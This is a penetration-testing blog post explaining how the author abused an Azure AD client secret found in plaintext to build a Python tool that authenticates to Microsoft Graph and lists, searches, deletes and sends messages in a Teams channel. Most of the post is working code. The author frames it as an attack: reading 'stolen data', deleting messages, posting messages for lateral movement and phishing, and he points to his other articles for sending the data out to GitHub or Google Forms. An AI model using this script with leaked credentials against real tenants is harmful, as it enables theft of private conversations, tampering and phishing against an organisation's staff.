Python Penetration Testing: Teams Work Makes the Dreams Work

How I use Python to gather juicy Microsoft Teams data

R. Eric Kiser
InfoSec Write-ups

--

The Discovery

The Azure AD Client secret value created when generating an application secret, can only be seen during its creation. As a result, developers often make a copy of this secret for their own use or to share with their team. However, I have come across instances where these secrets are stored in plaintext on various systems. In some cases, multiple secrets have been found, while in others, developers have neglected to secure their personal projects, and have created personal-use programs that contain the secrets in plaintext.

On one engagement I discovered that a developer had created a dashboard to push project details to a group Teams channel. This is actually a great idea, if done securely. A simple search of the system using a Python script I wrote about in a earlier article discovered all the needed authorizations including the secret value. I will say that I can’t completely point the finger on her as the initial foothold on the network was brought about due to one of her team members. However, real world hackers do not care who started it and in a spy game state actors will silently collect data unnoticed. It is important to understand the attack vector and what to look for when analyzing data on a network. In this article, I will show you how I build a Python program that has several menu options for gathering data from Microsoft Teams.

So it Begins…

First import the modules we need. We will need the requests and jsonmodules. Which are used to send HTTP requests and parse JSON responses. Next we need to add the data for the discovered victim enumeration data. The tenant_id, client_id, client_secret, team_id, and channel_id store the IDs and secrets needed to authenticate with Microsoft Graph API and access the discovered Teams channel.

import requests
import json

# Replace with your own values
tenant_id = '<your tenant ID>'
client_id = '<your client ID>'
client_secret = '<your client secret>'
team_id = '<your team ID>'
channel_id = '<your channel ID>'

Lots of Authorization needed to Authenticate and get the Access Token

Now we need the auth_url. The auth_url is the URL of the authentication endpoint for the Microsoft Graph API, and it depends on the Azure Active Directory (Azure AD) tenant that you are using. In my case, this was wrapped up nice for me in a clear text program and I just copied and pasted the data. However, if you have an Azure AD tenant, you can find the authentication endpoint URL by going to the Azure portal, selecting your Azure AD tenant, and navigating to the “App registrations” section. From there, you can select the app registration that you want to use, and the authentication endpoint URL should be displayed under the “Endpoints” section. It will have the following formation

https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token

We also need the auth_data, auth_headers, auth_response, and access_token. This sends a request to the authentication URL, passing the tenant ID, client ID, client secret, and scope in the request body. It then parses the JSON response to extract the access token. A quick breakdown for what each variable does:

  • The auth_data is a dictionary that contains the data needed to authenticate with Microsoft Graph API using the client credentials flow. The grant_type is set to client_credentials, and the client_id, client_secret, and scope are set to the values stored in the variables defined earlier.
  • The auth_headers is a dictionary that contains the headers needed to authenticate with Microsoft Graph API. The Content-Type is set to application/x-www-form-urlencoded.
  • The auth_response stores the response from the authentication request sent to Microsoft Graph API using the requests.post method. The response is stored as a JSON string.
  • The access_token extracts the access_token value from the JSON response stored in auth_response, which is needed to authorize API requests.
# Get an access token for Microsoft Graph API
auth_url = 'https://login.microsoftonline.com/{}/oauth2/v2.0/token'.format(tenant_id)
auth_data = {
'grant_type': 'client_credentials',
'client_id': client_id,
'client_secret': client_secret,
'scope': 'https://graph.microsoft.com/.default'
}
auth_headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
auth_response = requests.post(auth_url, data=auth_data, headers=auth_headers)
access_token = json.loads(auth_response.text)['access_token']

Defining Functions

The list_messages()function sends a GET request to the Microsoft Graph API to list all messages in the specified Teams channel. It then prints the content of each message.

The search_messages() function prompts for a keyword, sends a GET request to the Microsoft Graph API to search for messages containing that keyword, and then prints the content of the matching messages.

The delete_message() and send_message() functions are obvious. For the send_message()function, we will send a POST request to the Microsoft Graph API to create a new message with the specified content, and then prints the status of the operation. Great for lateral movement and phishing attacks.

The display_menu() function will display the available options in a loop. It takes the choice as input and calls the corresponding function based on the input. If the user enters ‘q’, the loop will break, and the script will exit.

Finally the common if __name__ == '__main__': and the then display_menu() function. This way when the script is executed, we can interact with the Microsoft Teams channel by selecting options from the menu.

# Define function to list messages
def list_messages():
graph_url = 'https://graph.microsoft.com/v1.0/teams/{}/channels/{}/messages'.format(team_id, channel_id)
graph_headers = {
'Authorization': 'Bearer {}'.format(access_token)
}
graph_response = requests.get(graph_url, headers=graph_headers)
messages = json.loads(graph_response.text)['value']
for message in messages:
print(message['body']['content'])

# Define function to search for messages
def search_messages():
keyword = input('Enter a keyword to search for: ')
graph_url = 'https://graph.microsoft.com/v1.0/teams/{}/channels/{}/messages?$search="{}"'.format(team_id, channel_id, keyword)
graph_headers = {
'Authorization': 'Bearer {}'.format(access_token)
}
graph_response = requests.get(graph_url, headers=graph_headers)
messages = json.loads(graph_response.text)['value']
for message in messages:
print(message['body']['content'])

# Define function to delete a message
def delete_message():
message_id = input('Enter the ID of the message to delete: ')
graph_url = 'https://graph.microsoft.com/v1.0/teams/{}/channels/{}/messages/{}'.format(team_id, channel_id, message_id)
graph_headers = {
'Authorization': 'Bearer {}'.format(access_token)
}
graph_response = requests.delete(graph_url, headers=graph_headers)
if graph_response.status_code == 204:
print('Message deleted successfully.')
else:
print('Error deleting message. Status code: {}'.format(graph_response.status_code))

# Define function to send a message
def send_message():
message_body = input('Enter the message to send: ')
graph_url = 'https://graph.microsoft.com/v1.0/teams/{}/channels/{}/messages'.format(team_id, channel_id)
graph_headers = {
'Authorization': 'Bearer {}'.format(access_token),
'Content-Type': 'application/json'
}
graph_payload = {
'body': {
'content': message_body
}
}
graph_response = requests.post(graph_url, headers=graph_headers, json=graph_payload)
if graph_response.status_code == 201:
print('Message sent successfully.')
else:
print('Error sending message. Status code: {}'.format(graph_response.status_code))

# Define function to display the choice menu
def display_menu():
while True:
print('Please select an option:')
print('1. List all messages')
print('2. Search for messages')
print('3. Delete a message')
print('4. Send a message')
print('5. Quit')

choice = input('Enter the number of your choice: ')

if choice == '1':
list_messages()
elif choice == '2':
search_messages()
elif choice == '3':
delete_message()
elif choice == '4':
send_message()
elif choice == '5':
print("Goodbye!")
break
else:
print("Invalid choice, please try again.")

# Run the script
if __name__ == '__main__':
display_menu()

Conclusion

Whew 😅. I always break a sweat when pwning. What I love about this method is that I never had to leave the command line. With this program, you can control Microsoft Teams and easily collect data. If you would like to modify the program to automatically send the stolen data to a github repository or a Google form see my other linked articles. If you like this article please follow, clap and respond. Happy Hunting!

--

--

R. Eric Kiser is highly skilled certified information security manager with 10+ years of experience in the field.